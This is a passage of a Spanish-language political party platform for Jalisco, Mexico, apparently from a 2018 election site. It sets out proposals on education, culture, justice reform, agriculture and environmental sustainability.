cuales son aquellas \u00e1reas en las que el docente est\u00e1 \u00e1vido de ser capacitado, no se trata de inventar el hilo negro, se trata de tomar aquello que nos dicen los maestros de Jalisco y llevarlo a la pr\u00e1ctica. Apostar por la investigaci\u00f3n educativa no solo es apostar por el perfeccionamiento de los servicios que el estado debe brindar a sus maestros, es tambi\u00e9n aprovechar al m\u00e1ximo los recursos de los que se dispone para evitar despilfarros y generar pol\u00edtica p\u00fablicas que respondan a necesidades reales, de docentes y alumnos reales en diversos contextos para focalizar esfuerzos y obtener mejores resultados; es evitar trabajar bajo las ocurrencias del secretario en turno y tener una verdadera ruta de acci\u00f3n educativa.<\/p>\n<p>Ante el mosaico geogr\u00e1fico y econ\u00f3mico del estado consideramos fundamental ampliar la oferta educativa a nivel superior en todas las regiones del estado, vincul\u00e1ndola de forma efectiva permanente con las actividades productivas propias del vocacionamiento de cada municipio y regi\u00f3n.<\/p>\n<p>El aprovechamiento de los recursos y orientaci\u00f3n espec\u00edfica que existen en cada una de las regiones del estado, exige la ampliaci\u00f3n y consolidaci\u00f3n de la oferta educativa a nivel medio superior y superior orientadas y especializadas en los procesos y cadenas productivas que caracterizan a cada regi\u00f3n, (ingenier\u00eda en Agave, en Ganader\u00eda y l\u00e1cteos, az\u00facar y derivados, etc.) as\u00ed como a mejorar el aprovechamiento de los recursos en cada parte de los procesos productivos, en esta tarea es necesaria la concurrencia de esfuerzos entre la Universidad de Guadalajara, las Universidades Tecnol\u00f3gicas y las instancias p\u00fablicas de educaci\u00f3n media superior dependientes de la autoridad educativa, es oportuno se\u00f1alar que existen intentos como la Licenciatura en Dise\u00f1o Artesanal que imparte el Centro universitario Tonal\u00e1, que debe complementarse con herramientas y capacidades para enfrentar todas las etapas de los procesos artesanales, desde la concepci\u00f3n, elaboraci\u00f3n hasta la promoci\u00f3n y comercializaci\u00f3n.<\/p>\n<p>Del ejemplo anterior se desprende la importancia de regresar a los Institutos Tecnol\u00f3gicos de Jalisco al esquema de vocacionamiento regional que les dio vida, pues esto supone que cada una de estas unidades educativas atiende a necesidades particulares de la zona geogr\u00e1fica donde se sit\u00faa, genera focos de desarrollo y mantiene el arraigo de los j\u00f3venes estudiantes a sus lugares de origen y evita la migraci\u00f3n a los grandes centros metropolitanos del estado, en el mejor de los casos, en la gran mayor\u00eda se ven forzados a migrar al \u00c1rea Metropolitana de Guadalajara.<\/p>\n<h2>Una pol\u00edtica cultural m\u00e1s all\u00e1 del espect\u00e1culo.<\/h2>\n<p>Consideramos que la pol\u00edtica cultural implementada en las administraciones p\u00fablicas locales y estatales se ha quedado en la presentaci\u00f3n de espect\u00e1culos masivos y una m\u00ednima inversi\u00f3n en la construcci\u00f3n, habilitaci\u00f3n y remozamiento de espacios culturales.<\/p>\n<p>El desaprovechamiento de edificios patrimoniales, como el antiguo Seminario de Guadalajara, por d\u00e9cadas sede de la XV Zona Militar, en el que se instal\u00f3 el Museo de Arqueolog\u00eda, cuyo acervo hoy permanece en la opacidad, pues fue desmontado por el actual gobierno que utiliza una m\u00ednima parte para oficinas, situaci\u00f3n que se repite en diversos edificios hist\u00f3ricos, patrimonio de los Jaliscienses.<\/p>\n<p>Lamentablemente en el \u00e1mbito metropolitano no existe un panorama diferente, gasto millonario en espect\u00e1culos, fuegos artificiales, presentaciones art\u00edsticas multitudinarias, a las que se suma un ataque persistente sobre las tradiciones, creencias y costumbres de los tapat\u00edos.<\/p>\n<p>Las administraciones estatales Panistas enfocaron su esfuerzo a la construcci\u00f3n y habilitaci\u00f3n de espacios culturales, dejando de lado el apoyo a los creadores, talleres de formaci\u00f3n y expresiones culturales en todo el Estado.<\/p>\n<p>Es tiempo de que la infraestructura cultural con que cuenta Jalisco se ponga en pleno uso, que en cada casa de la cultura, museo, foro, quiosco y galer\u00edas publicas exista una agenda consistente que garantice el acceso de las personas a estos bienes y servicios p\u00fablicos culturales.<\/p>\n<p>Es derecho de los ciudadanos en materia de cultura conocer, disfrutar y experimentar las diferentes expresiones culturales, el Estado tiene el deber de procurar un entorno en el que estas expresiones puedan gestarse en plena libertad.<\/p>\n<p>En nuestras comunidades y barrios, espec\u00edficamente en el \u00e1rea metropolitana de Guadalajara existe una asimetr\u00eda entre la posibilidad de los habitantes de expresar y desarrollar su creatividad en un espacio p\u00fablico frente al gran n\u00famero de espacios propiedad del gobierno destinados y utilizados para la presentaci\u00f3n de espect\u00e1culos, en los que la ense\u00f1anza, el est\u00edmulo a la creatividad y la iniciaci\u00f3n a las artes no son parte de sus programas de Actividades.<\/p>\n<p>El incremento en el n\u00famero de personas interesadas en la gesti\u00f3n cultural, la preocupaci\u00f3n por el surgimiento y sostenimiento de los centros culturales, la multiplicaci\u00f3n de colectivos art\u00edsticos son una muestra de que en esta materia los jaliscienses y los tapat\u00edos han rebasado a sus gobiernos.<\/p>\n<p>La cultura, debe tener sentido de inversi\u00f3n p\u00fablica, en el pleno aprovechamiento de espacios, en el impulso al debate y al di\u00e1logo, la generaci\u00f3n de expresiones y la apropiaci\u00f3n ciudadana de cada espacio p\u00fablico posible son factores para construir una cultura, sin otro adjetivo que la comunidad.<\/p>\n<p>Arraigo, pertenencia y orgullo, son valores que esta cultura enra\u00edza en las comunidades, por ello es necesario multiplicar los espacios culturales en las comunidades, a partir de la inmediatez territorial y la capacidad de apropiaci\u00f3n de los vecinos.<\/p>\n<p>El modelo de gesti\u00f3n cultural comunitaria que proponemos parte de la dispersi\u00f3n de las actividades y expresiones culturales en la mayor cantidad de espacios en lugar de privilegiar como hasta hoy los proyectos de impacto medi\u00e1tico, sujetos a modas y de calidad cuestionable.<\/p>\n<p>A nivel municipal es pertinente constituir fondos destinados a procurar el apoyo a las expresiones culturales comunitarias, a trav\u00e9s de subsidios, incentivos y acceso a los espacios, con un acento especial en ni\u00f1os, mujeres y j\u00f3venes.<\/p>\n<p>Estos nuevos espacios barriales deber\u00e1n contar con recursos y materiales para la realizaci\u00f3n de talleres, exposiciones y presentaciones art\u00edsticas de forma inmediata y accesible a los vecinos, de tal forma que sean semillero de creatividad, generadores de colectivos, fuente de expresiones y elementos que fortalezcan el tejido social de las comunidades en las que se insertan.<\/p>\n<p>Es necesario que se integre con la participaci\u00f3n de la sociedad civil y la iniciativa privada una red estatal de espacios y gestores culturales, que permita dotar a los espacios y centros culturales privados y sociales de un marco normativo espec\u00edfico, tanto a nivel legal como reglamentario que facilite su operaci\u00f3n y les reconozca diferencias frente a giros exclusivamente comerciales.<\/p>\n<p>En suma la Administraci\u00f3n P\u00fablica de la cultura debe transitar desde los espect\u00e1culos p\u00fablicos masivos a la expresi\u00f3n cultural colectiva.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tV.\tEstado de derecho, recuperar las instituciones para los jaliscienses. \t\t\t\t\t<\/p>\n<p>En Jalisco las instituciones padecen de un desprestigio cr\u00f3nico, al cual no son ajenos quienes han formado parte de ellas, as\u00ed como que no se han logrado entablar un di\u00e1logo claro hacia los ciudadanos.<\/p>\n<p>Es necesario que los poderes constituidos, los organismos constitucionales aut\u00f3nomos y los organismos p\u00fablicos coordinen sus esfuerzos y mantengan sus acciones en el marco que la constituci\u00f3n les reconoce, delimitando las competencias de cada uno y estableciendo un clima en el que se inhiban los conflictos y controversias que tanto han desgastado la vida institucional.<\/p>\n<p>La Justicia de que son sujetos hoy los jaliscienses que padecen alg\u00fan delito o buscan resolver alguna controversia est\u00e1 convertida en una mara\u00f1a burocr\u00e1tica en la que la cultura del expediente y el papeleo prevalecen, es necesario profundizar y fortalecer la reforma al sistema de justicia penal, con una fuerte capacitaci\u00f3n y pol\u00edticas de coordinaci\u00f3n a jueces y personal del poder judicial, agentes del ministerio p\u00fablico, polic\u00edas y otras instancias relacionadas, para que las conductas il\u00edcitas reciban sanci\u00f3n y se propicie la reinserci\u00f3n social de los delincuentes.<\/p>\n<p>Es urgente revertir, desde ya, el modelo que integra en la Fiscal\u00eda General las funciones inherentes a la prevenci\u00f3n del delito y la procuraci\u00f3n de justicia pues ha sido ineficaz para dar respuesta a la problem\u00e1tica de seguridad que enfrentamos los jaliscienses; es tambi\u00e9n urgente establecer medidas que garanticen la autonom\u00eda respecto al Poder Ejecutivo del titular del \u00f3rgano p\u00fablico depositario de la representaci\u00f3n social en materia penal que tiene como funci\u00f3n la investigaci\u00f3n de los delitos.<\/p>\n<p>Otra pol\u00edtica de seguridad que ha resultado fallida es el modelo de Fuerza \u00danica, pues tanto en su vertiente metropolitana, como en su vertiente regional, solo ha servido para sustraer recursos a los municipios y dejarlos desprotegidos ante la delincuencia, por lo que urge replantear el esquema de coordinaci\u00f3n policial, para construir un esquema de mando mixto, en el que los gobiernos municipales, el estado y la federaci\u00f3n asuman tramos espec\u00edficos de responsabilidad, as\u00ed como garanticen cada uno en su esfera la seguridad y tranquilidad de los jaliscienses.<\/p>\n<p>\u00a0En el \u00e1mbito de los procedimientos para la soluci\u00f3n de controversias deben de implementarse todos los recursos tecnol\u00f3gicos para agilizar el tr\u00e1mite de procedimientos y reducir sustancialmente el rezago judicial, de forma tal que se garantice a los jaliscienses el acceso a una justicia sin adjetivos.<\/p>\n<p>El clima social derivado de la irrupci\u00f3n de conductas violentas en nuestra sociedad requiere de un modelo policial basado en el an\u00e1lisis de la incidencia, la investigaci\u00f3n profunda, la comprensi\u00f3n de causas y efectos de este fen\u00f3meno, as\u00ed como la aplicaci\u00f3n de modelos de inteligencia, presencia y vigilancia constante.<\/p>\n<p>El sistema estatal anticorrupci\u00f3n reci\u00e9n instaurado requiere para su plena efectividad de un compromiso pleno de todos los entes p\u00fablicos y sociales para mantener su autonom\u00eda e independencia, pues Jalisco merece que el actuar de sus funcionarios a todos los niveles se mantenga en el marco legal y se adecue a una \u00e9tica p\u00fablica de responsabilidad y servicio. El reconocimiento a las comunidades originarias, sus tradiciones, expresiones culturales, lengua, patrimonio y territorio, deben ser sujeto de atenci\u00f3n prioritaria por parte de los gobiernos.<\/p>\n<p>Para erradicar vicios como la corrupci\u00f3n y la impunidad es necesario fortalecer la formaci\u00f3n en la cultura de legalidad de todos los ciudadanos, desde la escuela, el desempe\u00f1o p\u00fablico y el quehacer privado.<\/p>\n<p>Es necesario que la perspectiva de g\u00e9nero que vincula a las instancias p\u00fablicas no se quede en la mera representaci\u00f3n y en el acceso a los cargos p\u00fablicos pues es necesario generar en las mujeres conciencia de los alcances de su propia dignidad y aportar herramientas para que las oportunidades de realizaci\u00f3n de las mujeres, en el \u00e1mbito profesional, familiar y pol\u00edtico no tenga m\u00e1s limites que las decisiones, aspiraciones y capacidades que son inherentes a cada una.<\/p>\n<p>\u00a0El cumplimiento de las leyes y la materializaci\u00f3n efectiva de los derechos individuales y sociales deben pasar de la voluntad pol\u00edtica del titular del \u00f3rgano de autoridad a ser el cauce por el que se desahogan todos y cada uno de los tramites y decisiones de las entidades p\u00fablicas, involucrando a los ciudadanos y los organismos sociales en su permanente vigilancia.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVI.\tSustentabilidad, fortaleza y aliento a la empresa y el campo de Jalisco.\t\t\t\t\t<\/p>\n<p>La mundializaci\u00f3n y la globalizaci\u00f3n econ\u00f3mica son una oportunidad para llevar los productos de Jalisco m\u00e1s all\u00e1 de las fronteras, sin embargo es necesario generar un modelo de apoyo al campo que supere los esquemas corporativos y poco transparentes en los procesos de dispersi\u00f3n del recurso a los productores beneficiados.<\/p>\n<p>El funcionamiento de los programas de apoyo al productor agropecuario y publicaci\u00f3n de las listas de beneficiarios, la agricultura por contrato, los seguros catastr\u00f3ficos son ya un derecho de los productores mexicanos; sin embargo es urgente consolidar avances como: la Ley de Desarrollo Rural Sustentable, el rescate de la industria ca\u00f1era, el impulso a la pesca y la acuacultura, la agricultura protegida, la promoci\u00f3n de las exportaciones, el fortalecimiento de los sistemas producto, por lo que Jalisco mantiene una balanza comercial agroalimentaria positiva y es parte fundamental del reconocimiento del que goza nuestro pa\u00eds como potencia agroexportadora.<\/p>\n<p>Esta situaci\u00f3n est\u00e1 condicionada por un cambio en las condiciones macroecon\u00f3micas y geopol\u00edticas que eventualmente ocasionar\u00eda una disminuci\u00f3n de remesas y la repatriaci\u00f3n de coterr\u00e1neos por la agresiva pol\u00edtica estadounidense.<\/p>\n<p>Queda pendiente tambi\u00e9n convertir el dinamismo de la empresa primaria y el sector agroalimentario en una mejor calidad de vida para los habitantes de las zonas rurales y procurar la sustentabilidad agropecuaria y la conservaci\u00f3n de los recursos naturales con que contamos.<\/p>\n<p>\u00a0La equidad y la sustentabilidad son parte de la misma ecuaci\u00f3n, recuperar la calidad en el entorno y la calidad de vida de las familias deben ser el objeto de la pol\u00edtica rural.<\/p>\n<p>Para lograrlo es indispensable garantizar la certeza jur\u00eddica de los derechos de propiedad sea privada, social o p\u00fablica sobre tierras y aguas, derechos de pesca y de monte. Esta seguridad jur\u00eddica debe complementarse de la dotaci\u00f3n plena de los servicios de infraestructura social b\u00e1sica, Caminos, agua y electricidad, al mayor n\u00famero de comunidades rurales productoras.<\/p>\n<p>Por otro lado, la inversi\u00f3n p\u00fablica en el desarrollo rural debe focalizarse a la dotaci\u00f3n de bienes p\u00fablicos como sanidad, extensionismo, investigaci\u00f3n y desarrollo, mejoras territoriales y preservaci\u00f3n del medio ambiente con la plena participaci\u00f3n de los productores.<\/p>\n<p>Nuestro pa\u00eds y especialmente Jalisco tienen una biosfera extremadamente rica, y desde las instancias acad\u00e9micas y productivas se trabaja intensamente para obtener mayor productividad del campo, sin embargo queda pendiente por parte del estado el apoyo a estos avances, sobre todo en el acceso a la protecci\u00f3n de la propiedad intelectual, obtenci\u00f3n, patentes y marcas, dise\u00f1os, prototipos, lo que dar\u00eda mayor certidumbre a la inversi\u00f3n en innovaci\u00f3n agropecuaria.<\/p>\n<p>El involucramiento de las autoridades encargadas del apoyo al sector primario para acompa\u00f1ar al productor hacia el consumidor en temas como informaci\u00f3n de precios, normalizaci\u00f3n de la calidad, la sanidad y la inocuidad.<\/p>\n<p>Recuperar la visi\u00f3n integral de las cadenas productivas, redes de valor o sistema-producto, para que se alinee la producci\u00f3n primaria con la transformaci\u00f3n industrial y el consumo de alimentos sanos, nutritivos y de calidad. Los gobiernos deber\u00e1n impulsar herramientas para que los productores accedan a la generaci\u00f3n de valor agregado y exportaci\u00f3n, lo que acarrea una mayor derrama econ\u00f3mica en las regiones y municipios.<\/p>\n<p>En Jalisco la evaluaci\u00f3n de los resultados de la regulaci\u00f3n de la cuenca Lerma, Chapala, Santiago, han sido un obst\u00e1culo para el desarrollo del Estado, es necesario mantener la protecci\u00f3n de los acu\u00edferos, al tiempo que se permite mayor flexibilidad en la operaci\u00f3n de la agricultura de riego por los usuarios del agua debidamente organizados.<\/p>\n<p>Establecer condiciones m\u00ednimas de operaci\u00f3n, manejo y sanidad de los rastros y centros de sacrificio en las comunidades del estado, a trav\u00e9s de una certificaci\u00f3n emitida por la autoridad estatal que deber\u00e1 ser objeto permanente de verificaci\u00f3n, que garantice el trato digno y la calidad de los productos c\u00e1rnicos.<\/p>\n<p>Implementar desde el gobierno un esquema que permita a los j\u00f3venes agroproductores acceder al cr\u00e9dito para la adquisici\u00f3n de las propiedades destinadas a la producci\u00f3n, no solo a la mejora y la adquisici\u00f3n de maquinaria, equipos e insumos.<\/p>\n<p>El campo jalisciense exige de modelos financieros enfocados a resolver las necesidades crediticias de productores y trabajadores, el estado debe alentar el desarrollo de una econom\u00eda colaborativa y cooperativa para impulsar la producci\u00f3n en cada regi\u00f3n, las capacidades de regiones y comunidades se explotan mejor cuando es posible concentrar procesos y etapas en espacios delimitados, el desarrollo regional requiere inversi\u00f3n en parques agroindustriales enfocados estrat\u00e9gicamente a procesos de innovaci\u00f3n e incrementar la competitividad en agrocadenas o en territorios claves.<\/p>\n<p>El trabajador agr\u00edcola normalmente no se incluye en las pol\u00edticas p\u00fablicas de atenci\u00f3n al sector rural, sin embargo, es el elemento primordial para la productividad y la viabilidad del sector agropecuario. Es importante implementar un contexto de seguridad laboral y familiar que involucre tanto a las grandes empresas como a los peque\u00f1os y medianos productores, para que los trabajadores no solo cuenten con las prestaciones laborales b\u00e1sicas, sino que la capacitaci\u00f3n y el desarrollo de habilidades generen un mayor capital humano y detonar la iniciativa y capacidad de emprender en el campo jalisciense.<\/p>\n<p>En lo que concierne al sector lechero es indispensable seguir apoyando las agrupaciones existentes y fomentar la organizaci\u00f3n de nuevas, que permitan aprovechar cada uno de los componentes posibles, abastecer a otras industrias alimenticias y farmac\u00e9uticas que los est\u00e1n importando actualmente: leche descremada en polvo, grasa but\u00edrica, sueros deshidratados, con o sin grasa vegetal a\u00f1adida, lactosa, inmunoglobulinas, son s\u00f3lo algunos de los derivados de leche que hoy se importan por m\u00e1s de 1,600 millones de d\u00f3lares, principalmente de Estados Unidos, y que constituyen una gran oportunidad para el peque\u00f1o productor lechero, debidamente organizado.<\/p>\n<p>Cuando los funcionarios p\u00fablicos estatales, viajan al exterior no pueden ir solo a la b\u00fasqueda de capitales, sino que deben aprovechar esta oportunidad para promover y vender productos y servicios en que Jalisco es competitivo. Si pensamos en productos del campo, podemos vender huevo, en todas sus formas, carne de pollo, cerdo y de res, ma\u00edz blanco, ch\u00eda y sus derivados, tequila e inulina, berries, aguacate entre otras.<\/p>\n<h2>El entorno que compartimos, legado para los jaliscienses del porvenir.<\/h2>\n<p>La Proyecci\u00f3n de Principios de Doctrina de 2002, sostiene que \u201cEl desarrollo debe ser sustentable, lo que implica que los intereses de las generaciones futuras reciban la misma atenci\u00f3n que los de la presente. El deber de proteger a las generaciones futuras no puede pasar por alto las apremiantes necesidades de la poblaci\u00f3n en general y de los m\u00e1s vulnerables en particular. La b\u00fasqueda de un desarrollo sustentable debe tener dentro de sus m\u00e1s altas prioridades la eliminaci\u00f3n de la pobreza de la generaci\u00f3n actual\u201d, cuidando de no hipotecar el futuro, es el reto que nuestro pa\u00eds enfrenta actualmente y es preciso atender dichas demandas.<\/p>\n<p>El desarrollo urbano y el mercado inmobiliario en las \u00e1reas metropolitanas generan tambi\u00e9n condiciones de exclusi\u00f3n y segregaci\u00f3n, el Estado debe procurar que la plusval\u00eda en zonas espec\u00edficas, se derrame subsidiariamente en el conjunto de barrios, colonias y comunidades que conforman la ciudad, mediante obras y proyectos que incidan en el acceso a transporte, servicios b\u00e1sicos, cultura, deporte y esparcimiento.<\/p>\n<p>Una visi\u00f3n sustentable del desarrollo comunitario, tendr\u00e1 en cuenta la relaci\u00f3n entre las personas y su entorno, propiciando una gesti\u00f3n social del territorio, enfrentado esta responsabilidad no solo en el desarrollo urbano, sino en el aprovechamiento y m\u00e1xima conservaci\u00f3n de flora y fauna (agenda verde), aguas (agenda azul) aire e impacto de la actividad humana en el entorno (agenda gris).<\/p>\n<p>Los problemas que ponen en riesgo el desarrollo futuro de la humanidad, no solamente se resuelven mediante protocolos internacionales, normas legales y t\u00e9cnicas, pues implican en primera instancia el involucramiento decidido de personas, comunidades y gobiernos. El cambio clim\u00e1tico no se enfrenta con documentos, discursos y redes sociales, este fen\u00f3meno se ataca desde el hogar, la escuela y la comunidad que exigen un compromiso decidido, efectivo e indeclinable de la autoridad.<\/p>\n<p>La disminuci\u00f3n de la huella ambiental de la actividad humana es un factor clave para hacer posible la viabilidad de nuestras comunidades, para garantizar un Jalisco a largo plazo es necesario reforzar las acciones y programas que generen conciencia en los sectores sociales y productivos de la importancia de proteger y conservar nuestro entorno.<\/p>\n<p>En las ciudades y centros de poblaci\u00f3n la planeaci\u00f3n y el desarrollo urbano deben considerar esta visi\u00f3n de largo plazo, a trav\u00e9s de programas que hagan eficiente el uso del agua, la limpieza del aire y el adecuado manejo y destino de los residuos que se generan, as\u00ed como el incremento y conservaci\u00f3n del arbolado en los espacios destinados a la convivencia.<\/p>\n<p>Es oportuno y urgente que la normativa propicie y de cauce a la construcci\u00f3n de un pacto para la protecci\u00f3n y conservaci\u00f3n del suelo y el territorio, que convoque e integre a los gobiernos, entidades p\u00fablicas, instituciones acad\u00e9micas, organizaciones sociales y a los desarrolladores de vivienda para establecer una din\u00e1mica de desarrollo urbano que asegure la calidad de vida en las comunidades consolidando un Modelo de Desarrollo Urbano Sustentable.<\/p>\n<p>En este modelo es necesario que la procuradur\u00eda de desarrollo urbano ampl\u00ede su \u00e1mbito de facultades para impulsar el manejo social y sustentable del territorio, asumi\u00e9ndose como Procuradur\u00eda de desarrollo sustentable, al considerar no solo el crecimiento y ordenamiento de los centros de poblaci\u00f3n, sino que este organismo debe tener injerencia en el manejo de los recursos naturales, el destino y manejo del territorio, la orientaci\u00f3n de cultivos, la explotaci\u00f3n de bosques para propiciar la m\u00e1xima conservaci\u00f3n del acervo ambiental.<\/p>\n<p>Es necesario que las leyes establezcan tanto figura de \u201cParque Municipal\u201d o \u201cReserva Ecol\u00f3gica\u201d de forma tal que la donaci\u00f3n para parques y reserva ecol\u00f3gica derivada de las acciones urban\u00edsticas sea obligatoria en un porcentaje mayor, estableciendo mecanismos para que los gestores urbanos tengan la posibilidad de entregar un predio no inmediato, de mayor superficie y valor, siempre y cuando este terreno se destine a espacios deportivos, culturales, de esparcimiento y convivencia, en cuyo manejo se involucre a las comunidades beneficiarias desde un modelo subsidiario.<\/p>\n<p>Los diferentes niveles de gobierno deben garantizar que el manejo de residuos s\u00f3lidos que generan los centros de poblaci\u00f3n, las descargas de aguas residuales, la emisi\u00f3n de gases y polvos, as\u00ed como los residuos y descargas que genera la industria y la ganader\u00eda tengan un manejo, destino y tratamiento que evite la contaminaci\u00f3n de suelo, aire y agua.<\/p>\n<p>La inacci\u00f3n del Estado, ante las afectaciones por el manejo inadecuado de estos residuos especialmente en la regi\u00f3n de la Ci\u00e9nega, indigna y llama a la acci\u00f3n urgente, para atender a la poblaci\u00f3n en cuanto a salud, vivienda y servicios, el deslinde de responsabilidades, la aplicaci\u00f3n de sanciones, sin descuidar las acciones paliativas y de rescate del entorno, de forma tal que se minimicen los riesgos a la vida, salud y patrimonio de los jaliscienses. Esta responsabilidad de los actuales gobernantes no puede ser pasada por alto y amerita sanci\u00f3n.<\/p>\n<p>Es necesaria la actuaci\u00f3n de las autoridades en los diferentes niveles, as\u00ed como la organizaci\u00f3n de la sociedad para inhibir, evitar, mitigar y resolver cualquier impacto negativo de la actividad humana en las comunidades, tambi\u00e9n es fundamental establecer un marco que permita sancionar en\u00e9rgicamente aquellas conductas que laceren el entorno.<\/p>\n<p>Los problemas ambientales deben atenderse en lo local, en lo inmediato, en un esquema que no solo involucre a los gobiernos, sumando a la sociedad en pr\u00e1cticas como, programas de reciclaje, disminuci\u00f3n de emisiones, eficiencia en el uso de energ\u00eda, tratamiento de aguas y residuos y confinamiento efectivo de aquellos residuos no aprovechables. Estos son componentes de una estrategia de desarrollo sustentable cuyo impacto tiene implicaciones globales.<\/p>\n<p>\t\t\t\t\t\t<a href=\"http:\/\/www.iepcjalisco.org.mx\/JaliscoVotaExtranjero\/\" data-elementor-open-lightbox=\"default\"><br \/>\n\t\t<img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"300\" src=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/04\/Recurso-7-300x300.png\" alt=\"\" srcset=\"https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/04\/Recurso-7-300x300.png 300w, https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/04\/Recurso-7-150x150.png 150w, https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/04\/Recurso-7-100x100.png 100w, https:\/\/www2.iepcjalisco.org.mx\/tableroelectoral2018\/wp-content\/uploads\/2018\/04\/Recurso-7.png 471w\" sizes=\"auto, 100vw\" \/>\t\t\t\t<\/a><br \/>\n\t\t<iframe loading=\"lazy\" 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